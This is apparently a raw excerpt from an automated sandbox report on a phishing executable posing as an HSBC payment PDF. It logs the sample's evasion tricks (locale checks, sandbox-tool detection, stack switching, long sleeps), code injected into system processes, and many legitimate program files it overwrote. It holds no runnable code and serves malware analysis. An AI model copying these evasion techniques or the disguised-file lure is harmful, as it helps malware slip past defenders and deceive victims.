Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Contains functionality to behave differently if execute on a Russian/Kazak computer

Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 11_2_00995346 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	11_2_00995346
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 12_2_02285346 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	12_2_02285346
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Code function: 14_2_00B95346 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	14_2_00B95346
Source: C:\Windows\System32\Spectrum.exe	Code function: 20_2_00725346 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	20_2_00725346
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Code function: 22_2_00D15346 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	22_2_00D15346

Found evasive API chain (may stop execution after checking computer name)

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Evasive API call chain: GetComputerName,DecisionNodes,Sleep

graph_0-180369

Found evasive API chain (may stop execution after checking volume information)

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Evasive API call chain: GetVolumeInformation,DecisionNodes,Sleep

graph_0-180368

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

API/Special instruction interceptor: Address: AC250C

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.1312813211.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp, HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.1310393083.0000000000AB6000.00000004.00000020.00020000.00000000.sdmp, HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000002.1346748360.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp, HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.1312666727.0000000000AC7000.00000004.00000020.00020000.00000000.sdmp, HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.1311236894.0000000000AC7000.00000004.00000020.00020000.00000000.sdmp, HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.1312018188.0000000000AC7000.00000004.00000020.00020000.00000000.sdmp, HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.1310508086.0000000000AC7000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: PROCMON.EXE=

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598565	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597768	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597307	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596704	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596568	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596349	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595923	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595779	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595561	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594888	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593796	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593683	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593524	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593354	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593086	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592959	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592387	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 2903	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 6913	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Window / User API: threadDelayed 483	Jump to behavior
Source: C:\Windows\SysWOW64\perfhost.exe	Window / User API: threadDelayed 7782
Source: C:\Windows\SysWOW64\perfhost.exe	Window / User API: threadDelayed 2216

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Windows Media Player\wmpnetwk.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\7z.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\chrmstp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Dropped PE file which has not been started: C:\Windows\System32\AppVClient.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\7zG.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Windows\System32\msiexec.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\setup.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\updater.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.ShowHelp.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.134\elevation_service.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Jump to dropped file
